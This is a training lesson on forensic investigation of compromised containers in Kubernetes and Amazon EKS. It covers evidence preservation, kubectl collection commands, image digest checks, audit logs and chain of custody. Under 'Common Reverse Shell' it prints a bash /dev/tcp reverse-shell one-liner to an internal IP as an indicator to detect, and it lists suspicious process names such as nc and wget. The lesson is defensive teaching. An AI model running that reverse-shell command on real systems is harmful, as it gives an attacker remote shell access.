Lesson 02 — Container Forensics

Learning Objectives

By the end of this lesson, you will be able to:

Understand container forensics fundamentals
Explain the goals of container forensic investigations
Identify forensic evidence within Kubernetes
Preserve container evidence without contamination
Collect logs, images and runtime artifacts
Analyze container filesystems
Investigate malicious processes
Validate container image integrity
Maintain chain of custody
Perform enterprise container forensic investigations

Why Container Forensics Matters

Containers are designed to be:

Lightweight
Temporary
Replaceable
Short-lived

Unfortunately, attackers know this.

After compromising a container they may:

Delete evidence
Remove logs
Kill processes
Replace binaries
Launch reverse shells
Steal credentials

Because containers are ephemeral, forensic evidence can disappear within seconds.

What is Container Forensics?

Container Forensics is the process of collecting, preserving and analyzing evidence from running or terminated containers.

The objective is to answer:

What happened?
How did it happen?
When did it happen?
Who performed it?
Which systems were affected?
What data was accessed?

Container Investigation Lifecycle

Incident Detected

↓

Evidence Preservation

↓

Evidence Collection

↓

Analysis

↓

Timeline Reconstruction

↓

Root Cause Analysis

↓

Reporting

Enterprise Forensic Architecture

Amazon EKS

↓

Kubernetes API

↓

Container Runtime

↓

Logs

↓

Filesystem

↓

Images

↓

Runtime Monitoring

↓

SIEM

↓

Forensic Investigation

Sources of Forensic Evidence

Evidence may exist in:

Container logs
Kubernetes audit logs
CloudTrail
Container filesystem
Image metadata
Runtime events
Network flows
Environment variables
Mounted Secrets
Persistent Volumes

Investigation Objectives

Determine:

Initial access
Privilege escalation
Malware execution
Credential theft
Lateral movement
Data exfiltration
Persistence mechanisms

Container Anatomy

Container

├── Image
├── Filesystem
├── Running Processes
├── Environment Variables
├── Mounted Volumes
├── Secrets
├── Network Namespace
└── Logs

Every component may contain valuable evidence.

Types of Evidence

Evidence	Examples
Runtime	Running processes
Files	Configuration files
Logs	Application logs
Network	Connections
Image	Image digest
Metadata	Labels
Identity	Service Account
Cloud	CloudTrail

Evidence Preservation

Before making changes:

Do NOT restart Pods.
Do NOT delete containers.
Do NOT rebuild workloads.
Do NOT overwrite logs.

First preserve evidence.

Chain of Custody

Every piece of evidence must include:

Collector
Date
Time
Source
Hash
Storage location
Access history

Initial Investigation

Identify:

Namespace
Pod
Node
Container
Image
Service Account

Example:

kubectl get pods -A

Describe the Pod

kubectl describe pod payment-api

Review:

Events
Image
Security Context
Volumes
Environment Variables
Mounted Secrets

View Container Logs

kubectl logs payment-api

Previous logs:

kubectl logs payment-api --previous

Capture YAML

kubectl get pod payment-api -o yaml

Preserve:

Labels
Annotations
Image
Volumes
Service Account
Security Context

Container Runtime Information

Determine:

Runtime
Container ID
Image ID
Runtime Status

kubectl describe pod payment-api

Running Processes

If appropriate and approved:

kubectl exec payment-api -- ps aux

Look for:

bash
sh
curl
wget
python
perl
nc
cryptominers

Network Connections

Review active connections.

Example:

kubectl exec payment-api -- netstat -an

kubectl exec payment-api -- ss -tulnp

Look for:

Unknown IPs
External connections
Reverse shells
Suspicious ports

Environment Variables

kubectl exec payment-api -- env

Investigate:

Credentials
API Keys
Tokens
Secrets

Mounted Secrets

Review:

/var/run/secrets/

Determine:

Service Account Token
Mounted certificates
Kubernetes credentials

Container Filesystem

Inspect directories:

/bin
/usr/bin
/tmp
/root
/home
/etc

Look for:

Malware
Scripts
Unauthorized binaries
Hidden files

Temporary Directories

Attackers often store malware inside:

/tmp

/dev/shm

/var/tmp

Always inspect these locations.

File Integrity

Look for:

Modified binaries
Unknown executables
Unexpected scripts
Changed permissions

Image Investigation

Identify image:

kubectl get pod payment-api \
-o jsonpath='{.spec.containers[*].image}'

Verify:

Registry
Digest
Signature
Scan results

Image Digest

Preferred deployment:

image@sha256:...

Avoid relying on mutable tags such as:

latest

Verify Image Source

Questions:

Was it pulled from Amazon ECR?
Is the registry trusted?
Was the image signed?
Was the image scanned?

Runtime Alerts

Review alerts from:

Falco
GuardDuty
Security Hub
SIEM

These help reconstruct the attack timeline.

Kubernetes Audit Logs

Investigate:

Pod creation
Secret access
RBAC changes
Namespace changes
API calls
Admission decisions

CloudTrail

Review:

IAM activity
EKS API calls
Role assumptions
Security Group changes
Network changes

Timeline Reconstruction

Example:

09:05 Pod Created

↓

09:10 Reverse Shell

↓

09:11 Secret Access

↓

09:15 External Connection

↓

09:20 Cryptominer Download

Malware Indicators

Look for:

Base64 payloads
Reverse shells
Cryptocurrency miners
Unknown binaries
Persistence scripts
Obfuscated commands

Common Reverse Shell

Example:

bash -i >& /dev/tcp/10.0.0.10/4444 0>&1

This should trigger investigation.

Service Account Investigation

Review:

kubectl describe sa payment-api

Determine:

Permissions
IAM Role
Mounted Token
Secret Access

Persistent Volumes

If attached:

Review:

Uploaded files
Databases
Logs
Malware
Modified data

Persistent volumes often retain evidence after Pods are deleted.

Container Escape Indicators

Look for:

HostPath mounts
Privileged mode
Host PID
Host IPC
Docker socket access
Kernel module activity

Memory Considerations

Containers primarily store evidence in memory.

Examples:

Running malware
Encryption keys
Active sessions
Tokens
Network connections

Memory acquisition is covered in a later lesson.

Evidence Collection Checklist

✔ Logs

✔ YAML

✔ Runtime Alerts

✔ Image Digest

✔ Running Processes

✔ Network Connections

✔ Environment Variables

✔ Secrets

✔ Filesystem

✔ Audit Logs

✔ CloudTrail

✔ Volume Contents

Enterprise Investigation Workflow

Alert

↓

Identify Pod

↓

Collect Logs

↓

Collect YAML

↓

Capture Runtime

↓

Collect Audit Logs

↓

Review CloudTrail

↓

Analyze Filesystem

↓

Validate Image

↓

Document Findings

Reporting

Include:

Incident ID
Timeline
Indicators of Compromise
Images
Evidence
Root Cause
Recommendations

Common Mistakes

Avoid:

Restarting Pods immediately
Deleting evidence
Ignoring runtime logs
Failing to preserve YAML
Ignoring CloudTrail
Forgetting mounted Secrets
Missing persistent volumes

Enterprise Best Practices

As a Cloud Security Engineer:

Preserve evidence before remediation.
Export Pod manifests and metadata.
Capture runtime logs immediately.
Validate image provenance and signatures.
Investigate Service Account permissions.
Review Kubernetes Audit Logs and CloudTrail together.
Preserve evidence with documented chain of custody.
Use trusted forensic workstations and secure evidence storage.
Document every action taken during the investigation.
Conduct post-incident reviews to improve detection and response.

Real-World Scenario

A financial services company receives a Falco alert indicating shell execution inside a production payment container.

The Cloud Security team begins a forensic investigation.

They:

Identify the affected Pod and namespace.
Export the Pod YAML and metadata.
Preserve container logs and previous logs.
Capture the running process list and active network connections.
Review mounted Service Account tokens and environment variables.
Analyze the container filesystem and discover a malicious script in /tmp.
Verify that the container image differs from the approved image digest.
Correlate Kubernetes Audit Logs with CloudTrail to identify the compromised IAM role used during deployment.
Document all evidence with timestamps and cryptographic hashes.
Hand the evidence to the incident response team for deeper malware analysis while the platform team rebuilds the workload from a trusted signed image.

The investigation confirms a compromised CI/CD pipeline introduced the malicious image. Security controls are updated to require image signing and admission verification before future deployments.

Key Takeaways

Containers are ephemeral, making rapid evidence preservation essential.
Valuable forensic evidence exists in logs, metadata, filesystems, runtime events and cloud audit records.
Kubernetes Audit Logs and AWS CloudTrail together provide a complete picture of administrative and workload activity.
Validate container image integrity using trusted registries, immutable digests and signatures.
Maintain chain of custody throughout the investigation to preserve evidence integrity.

Knowledge Check

1. Why is container forensics different from traditional server forensics?

Answer: Containers are ephemeral and can be deleted or recreated quickly, so evidence must be collected rapidly before it is lost.

2. What evidence should be collected before deleting a compromised container?

Answer: Container logs, Pod YAML, runtime processes, network connections, filesystem contents, Kubernetes Audit Logs, CloudTrail events and image metadata.

3. Why should investigators verify the container image digest?

Answer: To confirm the running workload matches the approved trusted image and has not been replaced with a malicious or unauthorized version.

4. Why are Kubernetes Audit Logs and CloudTrail both important?

Answer: Kubernetes Audit Logs record Kubernetes API activity, while CloudTrail records AWS API activity. Together they provide comprehensive visibility into the incident.

5. Why is chain of custody important?

Answer: It preserves the integrity, authenticity and admissibility of forensic evidence by documenting how evidence was collected, handled and stored.

What’s Next?

In the next lesson, we will explore Lesson 03 — Node Forensics, where you’ll learn how to investigate compromised Kubernetes worker nodes, collect host-level evidence, analyze operating system artifacts, inspect container runtimes and preserve forensic data from Amazon EKS nodes.